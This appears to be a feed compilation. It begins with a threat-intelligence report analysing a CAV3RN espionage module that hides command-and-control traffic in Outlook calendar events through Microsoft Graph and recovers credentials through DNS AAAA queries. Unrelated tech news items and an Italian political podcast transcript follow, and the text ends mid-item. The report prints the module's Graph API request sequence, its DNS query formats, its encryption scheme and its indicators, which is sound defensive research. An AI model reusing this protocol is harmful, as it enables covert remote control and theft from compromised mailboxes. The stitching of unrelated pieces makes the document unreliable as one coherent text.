Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026 we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
get_;;_<agent-id>_,_<legacy-url>
send_;;_<agent-id>_,_<legacy-url>_,_<result>
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST login.microsoftonline.com/<…
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>
Our analysis found a consistent difference in capitalization between command and result attachments:

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
"subject": "Boss update ID: <agent-id>1500"
}
Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

For example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypotheses because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1 AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806 NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678 AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

securelist.com/project-cav3rn-…

If electronic paper displays have one downside, it’s generally refresh rate. Earlier versions of the tech might only have been able to do single-digit frames per second, while modern, mid-range devices can sometimes manage 10-20 FPS — and that’s not including the frames needed to blank the display. Getting up past that double-digit barrier typically requires higher-end displays, more powerful processors or FPGAs, and more money. On the other hand, [Tony] was recently able to get 20 FPS out of an ESP32-based device without using any extra processing power.

The key to improving e-paper performance is understanding how the display actually works. The “ink” consists of microscopic charged pigment particles that physically move in response to electric fields, making the display much slower than LCD or OLED panels. Rather than fully erasing and redrawing every frame, the software takes advantage of the particles’ existing state by generating optimized driving waveforms that only move the particles needed to produce the next image. On the software side, an MPEG-like encoding is used so only changes between frames are transmitted and converted into these waveforms, reducing unnecessary data transfers and allowing much higher frame rates.

Tony’s method is able to drive 960×540 panels, like those found in the Lilygo or M5PaperS3, to 20 FPS, and these platforms are based on nothing more than the capable but limited ESP32 chip. It’s an impressive push, and worth checking out the video in the linked project page. We assume you’d need a little more to drive something like the massive e-paper display found in this home automation setup, though.

youtube.com/embed/vQrP-orQatY?…

hackaday.com/2026/07/21/20-fps…

We all know that Google and other big players pick and choose what information people see, but we sometimes overlook it outside of the search and social media space. [Lauren Leek] decided to take a look at how Google Maps picks winners and losers in the restaurant scene in London.

Building a machine learning model to determine a new restaurant recommendation (as one does), [Leek] uncovered interesting, and perhaps concerning, elements of how Google Maps ranks restaurants. Broken down by relevance, proximity, and prominence, many new restaurants face the issue of not drawing traffic without reviews and vice-versa causing a vicious cycle. Relevance and proximity are fairly straightforward, but what goes into “prominence?”

[Leek] found that “it is not just what people think of a place – it is how often people interact with it, talk about it, and already recognise it.” This leads to chains and high foot traffic areas awash in reviews while more out-of-the-way places find it more difficult to draw traffic. Some of this is expected and would be happening even when word of mouth was the primary way to find out where to eat, but as with many things, the algorithm amplifies this, along with the undisclosed paid placement of restaurants in Maps results.

While still in its infancy, [Leek] built a public dashboard where people can sort restaurants in the city. The machine learning algorithm is designed to identify places that are hidden gems that punch above their Google Maps weight and may make you look like the trendy one (if you live in London).

Zooming out further, [Leek] found larger clusters that revealed restaurant “diversity, in other words, is not just about taste. It is about where families settled, which high streets remained affordable long enough for a second generation to open businesses, and which parts of the city experienced displacement before culinary ecosystems could mature.”

If you want to step outside the algorithm mayhem, how about a good old-fashioned Web Ring? We’ve also addressed what’s an AI versus an algorithm, and Cory Doctorow advised us on how to reverse course on the current wave of enshittification.

hackaday.com/2026/07/20/google…

Il riscaldamento è fondamentale per evitare strappi e contratture. Perciò, ecco altre malefatte della Commissione da ripassare a Settembre per presentarsi alla nuova stagione già belli caldi...

dk.dataknightmare.eu/tradiment…

dataKnightmare Archive

2026-07-21 04:10:07

DK10x41 - Tradimenti 2

Ascolta l'episodio su Spreaker.com

Caso mai qualcuno credesse che avessimo esaurito la lista delle lagnanze contro questa Commissione Europea di servi e cialtroni, qualche altro post-it da attaccare al frigo prima delle vacanze, così a Settembre ripartiamo belli caldi.

Ma prima, come bonus, una recensione.

Sigla.

Oggi è il 18 luglio, e ieri sono andato a vedere l'Odissea di Nolan. Il mio pacato giudizio è che se lo girava con i Muppet gli usciva un film meno ridicolo.

Odissea è la dimostrazione plastica che con 250 milioni di budget, il miglior regista su piazza, un cast stellare, si può ancora fare una cagata inguardabile che però è anche una palla micidiale.

A un certo punto mi sono detto "madonna, ma non finisce mai?" Erano passati 36 minuti esatti. Il film dura due ore e 52.

Ora, io

• posso ammettere le scelte a cappella nel casting perché devi fare l'inclusivo,
• posso trascurare Atena dagli occhi celesti mulatta e adolescenziale, Elena dalle bianche braccia e dal collo di cigno nera nubiana e tarchiatella, e il biondo Menelao pelato e con la barba nera,
• posso considerare con bonomia Agamennone vestito da Batman per tutto il film
• posso contestualizzare un Ulisse frignone manco Troia fosse il Vietnam, anche se alla battuta "la nostra età del Bronzo sta finendo" sono scoppiato a ridere, e non era la prima volta
• posso sorvolare sull'assenza dei Lotofagi, dei Feaci, di Nausicaa e dell'inganno al Ciclope
• posso momentaneamente sospendere il giudizio sull'assenza degli dèi, salvo poi concludere che tutto diventa una favoletta di Disney
• posso considerare una scelta stilistica il fatto che, nonostante i costumi, personaggi e dialoghi sono più adatti a un dramma borghese del periodo in cui Woody Allen pensava di essere Ingmar Bergman, che a un mito tragico del primo millennio avanti Cristo;
• posso stringere i denti per un Telemaco che chiama Ulisse "papà", manco quell'altro fosse Mario Merola e dovesse rispondere "figghio, figghio mio"
• posso mordermi la lingua per i Greci che vogano con elmo e corazza per tutto il film per far vedere che loro sono guerrieri, sennò poi Pete Hegseth dice che quella è Gay Love Boat, non l'Odissea;
• salvo soltanto la ninfa perimenopausale, e non perché Charlize Theron anche a ottant'anni sarà la cosa più spaventosamente sexy che giri sul pianeta, ma perché è l'unica sullo schermo che recita e ha una presenza scenica.

Ma quello che non posso assolutamente accettare è prendere la più grande storia mai raccontata e farne un film che non solo è noioso, ma è completamente privo di qualsiasi pathos.

Ma voi vedetelo, e fatevi un'idea. Ah sì, scenografie e fotografia bellissime. Peccato che se ti metti a notare quelle vuol dire che il film non c'è.

E adesso passiamo alle cose serie.

pausa

Nello scorso episodio elencavo come tradimento l'estensione di poteri eccezionali di indagine e controllo, incluso il riconoscimento facciale, a Frontex, l'agenzia europea che si occupa dei controlli alle frontiere esterne.

Per quel che riguarda le frontiere interne, invece, che il trattato di Schengen avrebbe dovuto abbattere, troppi Stati membri continuano a invocare condizioni emergenziali per farsi i beati casi loro. Come per esempio la Germania, che da quando Schengen esiste ha richiesto dispense semestrali per motivi di sicurezza a ciclo pressoché continuo. Che fesseria siano queste esigenze di sicurezza è subito detto: viaggi dall'Italia alla Germania attraverso l'Austria? Controllo di frontiera appena entri in Germania. Viaggi dall'Austria alla Germania? Nessun controllo.

E la Germania non è nemmeno la sola, anche se è l'esempio che tocco con mano ogni volta. Una Commissione che si rispetti avrebbe già preso provvedimenti da anni, perché Schengen è una delle conquiste più alte della costruzione europea, e ce la stiamo giocando per dare il contentino a quattro pezzenti razzisti e peraltro incompetenti.

E questo per quanto riguarda le frontiere. Ma non dobbiamo dimenticarci che anche Europol mette in fila un'eccezione dopo l'altra pur di praticare sorveglianza di massa sui cittadini europei, e non contenta delle eccezioni ha costruito un sistema-ombra di archivi, per farsi beffe dei limiti alla ritenzione e al trattamento fissati dal GDPR e ribaditi di continuo dal Garante Europeo. Anche in questo caso, una Commissione degna di questo nome darebbe al Garante Europeo il supporto politico e economico per fare visita a Europol munito di un nodoso bastone, ma non sia mai che la von der Leyen e la sua commis sione di servi faccia qualcosa per far valere le leggi europee in Europa.

pausa

Sempre per quel che riguarda i rapporti frontalieri, c'è quello, sempre più surreale, con gli Stati Uniti. La prima pietra dello scandalo è la richiesta all'Europa di condividere i database biometrici dei propri cittadini con gli Stati Uniti, affinché i cittadini dell'Unione possano continuare a godere dell'alto onore di recarsi in quel Paese di barbari senza visto.

Ci sono un certo numero di problemi:

• il primo è che tu i miei dati biometrici li puoi trattare nel momento in cui ti dò il mio passaporto, non a prescindere;
• il secondo è che una volta che i dati biometrici siano accessibili agli statunitensi, ciao còre alla limitazione del trattamento, ci faranno tutte le profilazioni del mondo e qualcuna in più, e poi ovviamente ci sarà l'inevitabile breach e andranno in mano a chiunque;
• il terzo è che abbiamo già un accordo per poter viaggare negli USA senza visto, e l'America di Trump sta come sempre cambiando le carte in tavola.

Ora, io personalmente non metterò più piede negli USA fin che non gli è passata la botta di fascismo cominciata nel 2001. Il che significa che presumibilmente non ci tornerò più. Ma anche se volessi, non vedo perché compromettere dati fondamentali e buttare alle ortiche la protezione dei dati personali per risparmiare il costo di un paio di visite al consolato.

Ricordiamoci che gli USA sono anche quel Paese democratico dove per entrare devi dare alle Autorità l'accesso a tutti i tuoi account social, così che loro possano accertarsi che tu non abbia mai detto qualcosa di sgradito. Roba del genere fa rimpiangere il KGB dell'Unione Sovietica.

Sull'accesso ai dati biometrici, gli USA hanno messo come scadenza il 31 dicembre, una scadenza che è a tutti gli effetti un ultimatum, e le prospettive sono fosche, se uno ricorda il meraviglioso negoziato con cui la von der Leyen ha garantito dazi permanenti del 15% da parte di quello che dovrebbe essere un alleato. Ora il Parlamento Europeo è in ferie, ma appena riapre occorrerà che si faccia sentire sulla questione, e su tutte le altre che riguardano gli Stati Uniti.

Sempre parlando di Stati Uniti, c'è l'ormai surreale questione del libero transito dei dati fra Europa e Stati Uniti, quello che si chiama EU-US Data Protection Framework e che, a detta della Commissione Europea, garantisce la sostanziale adeguatezza degli USA ai livelli di protezione richiesti dal GDPR.

L'accordo per il libero traffico dei dati fra USA e Unione, con qualunque nome, è sempre stato una farsa. Lo era il Safe Harbor, stroncato dalla sentenza Schrems I della Corte Europea di Giustizia. Lo era il Privacy Shield, sostanzialmente la fotocopia del Safe Harbor messa in piedi in tutta fretta dalla Commissione von der Leyen (la prima) e stroncato dalla sentenza Schrems II.
E lo è l'attuale EU-US Data Protection Framework, che aspettiamo di vedere stroncato dal terzo ricorso di Max Schrems alla Corte Europea.

Le cose sono semplici: la legge USA consente alle agenzie di intelligence una discrezionalità praticamente assoluta nell'accesso ai dati personali, in particolare di persone che non siano cittadini USA. Questo accesso è solo nominalmente sottoposto al controllo giudiziario, come richiede la legge europea, perché le corti statunitensi di fatto si limitano a firmare quello che gli viene presentato, manco fossero in un serial poliziesco di Hollywood.

E non solo, ma poiché le richieste di accesso ai dati sono segrete, il diritto di rivalsa richiesto dalla legge europea è puramente teorico, nel senso che un cittadino europeo non ha nemmeno diritto a essere ascoltato o a un proprio avvocato, ma il verdetto, rigorosamente senza motivazione, gli viene comunicato ex post.

Come se non bastasse, la supposta corte indipendente che decide su questi temi (che in quanto supposta, come ci insegna Caparezza...) si compone al momento di un solo membro, repubblicano perché Trump ha licenziato tutti gli altri, ed è talmente indipendente da essere una emanazione del Dipartimento di Stato.

Secondo la von der Leyen questo patetico accrocchio garantisce che i dati personali degli Europei, una volta negli Stati Uniti, mantengano lo stesso livello di protezione che hanno in Europa sotto il GDPR. Io non so cosa si fumi la von der Leyen, ma è palesemente roba troppo forte per lei.

È inutile che ci mettiamo a sproloquiare di sovranità digitale se prima non riconosciamo che i dati personali europei in mano a compagnie USA hanno meno protezioni effettive che se fossero in mano a compagnie cinesi.

E infine, c'è la questione di Israele, e in generale del ruolo dell'Unione in politica estera. Specificamente, vorrei sapere se l'Unione ha una politica estera o se semplicemente facciamo quello che ordinano a Washington.

Perché se siamo tutti d'accordo che Putin è brutto e cattivo perché ha invaso l'Ucraina (ignorando spensieratamente perché lo abbia fatto e chi abbia messo il budget per arrivare a quella situazione) allora dove sono le sanzioni contro Israele per il genocidio in Palestina, e contro Israele e gli Stati Uniti per l'aggressione all'Iran?

No, perché o ci diciamo chiaramente che condanne e sanzioni si fanno o non si fanno a seconda del momento e di chi è coinvolto, e allora mi va bene. Anche Andreotti diceva che le leggi si applicano per i nemici e si interpretano per gli amici. Ma se a Settembre ancora sento la litania dei valori allora mi riservo il diritto di pernacchia.

Nello specifico, vorrei che l'Unione facesse almeno un piccolo passo e revocasse l'accordo di collaborazione commerciale con Israele, a fronte del genocidio conclamato in Palestina. Sarebbe poco, ma sarebbe un gesto, visto che la Commissione si fa vanto di difendere i valori assoluti dei diritti umani e dell'autodeterminazione dei popoli quando si tratta dei bianchi ucraini ma poi misteriosamente adotta una stretta realpolitik quando si tratta delle cinquanta sfumature di marrone in Palestina e tutto il Medio Oriente e lungo le rotte dei profughi delle guerre statunitensi.

Ecco qui. Direi che se iniziamo a spuntare la lista il primo di settembre, per l'otto quando parte la stagione undici, siamo belli caldi e non rischiamo strappi e contratture.

E no, non vi saluto ancora. Qui si chiude a 42 episodi, e dal 25 Luglio all'8 Settembre, perché in Italia, fra quelle due date, non succede niente nemmeno se c'è una guerra.

Quindi a fra pochissimi giorni.

DK 10x41 - Tradimenti 2

^{Runtime Radio (Spreaker)}

Although life tends to find a way, something first has to kickstart said lifeforms. Exactly how the first biological cells formed on Earth – and potentially on other worlds – remains an enduring mystery. Some theories point to the early Earth’s surface conditions as a viable laboratory for the self-assembly of the first viable membranes, RNA, DNA and associated molecular machinery, while seeding of the Earth’s primitive atmosphere by sugars and other precursors from asteroids and kin is required in other theories.

Recently [Izaskun Jiménez-Serra] et al. added to this debate with the reported detection of four-carbon sugars in the form of erythrulose in the interstellar medium. Using the 40 meter radio telescope at Yebes and the 30 meter radio telescope at Granada the signatures of this sugar was detected in a molecular cloud near the center of the Milky Way.

These sugars likely form on these interstellar dust grains from more basic two-carbon aldehydes and alcohols, with them providing conceivably a source of energy for early metabolic processes of developing lifeforms. This specific type of sugar is highly prevalent in Earth’s fruits, and thus its prevalence in interstellar space is at the very least an interesting coincidence, if not another puzzle piece in the overarching question of abiogenesis.

hackaday.com/2026/07/20/detect…

Intel’s Itanium architecture was an interesting experiment, but it has gone down in history as one of the chip giant’s bigger flops, so much so that it earned the name “Itanic” in the tech press. This is perhaps unfair, considering it did limp on until a quiet EOL in 2020. We didn’t know anyone missed it, but perhaps it was more the technical challenge than nostalgia for obsolete server hardware that led [Yufeng Gao] and [gdwnldsKSC] to spin up an instruction-set translator for the late, lamented, IA-64 architecture.

Note that it’s very much in alpha, version 0.1, so don’t expect all the things. Neither HP-UX and OpenVMS will boot, which is a pity since Itanium’s great success was arguably winning those OSes and thereby killing the bespoke architectures HP and DEC had at the time. Gentoo can get to a shell, as long as you use Kernel 6.6 or older, and Windows Server 2003 and XP-64 both apparently boot.

It’s not incredibly performant, with 486-level speeds when running on Ryzen 5000 series hardware, but then, it is a 64-bit hardware being emulated here, and pretty weird hardware at that. Itanium’s Very Long Word Instruction architecture was notoriously hard to program well. Specifically, it was hard to compile optimized programs for, so we expect optimizing an emulator is going to be similarly difficult. That’s why this is so impressive, even at this early stage.

The late, unlamented Itanium is probably one of the few systems not in the Virtual OS Museum, but perhaps eventually this project will change that.

via Raymii.org

hackaday.com/2026/07/20/sail-v…

Bats are remarkable creatures, able to fly at night or inside the confines of caves without light to guide their way. A team of researchers at Worcester Polytechnic Institute (WPI) has determined how to use low power ultrasonic sensors to guide drones in obscured environments.

While radar, lidar, and GPS are all great for navigation and sensing, they can run into issues when light is obscured or can take too much power to be practical for the limited battery life of a drone. The researchers found that a dual sonar array could be used to implement a much lower power sensing system for a drone that performs well in environments that would stymie a computer vision system.

A shield placed behind the array cuts down on the sound of the propellers that would otherwise drown out the signal, and further signal analysis via a neural net separates the echoes of objects in front of the drone from the background. The prototype could navigate in various simulated environments like forests, smoke, and snow. It looks like it even got a chance to go for a flight in the actual woods. All the code and hardware designs are Open Source, so have at it!

We’ve covered mosquito-inspired drone sensors before, and if you want to get into echolocation yourself, apparently humans can learn to do it too.

youtube.com/embed/RiHRGeWW9Ck?…

via Entertainment Engineering.

hackaday.com/2026/07/20/echolo…

A little over a month ago, we featured a project from [Igor] who built 64 bits of DRAM from scratch using discrete components. Jokes about memory pricing aside, he did have a use case for such a small amount of memory — he is using it in a custom-built drum machine. But featuring the memory build and not the drum machine was perhaps putting the cart before the horse, so in this video, [Igor] shows off the construction of each part of his impressive 16- or 64-step sequence drum machine.

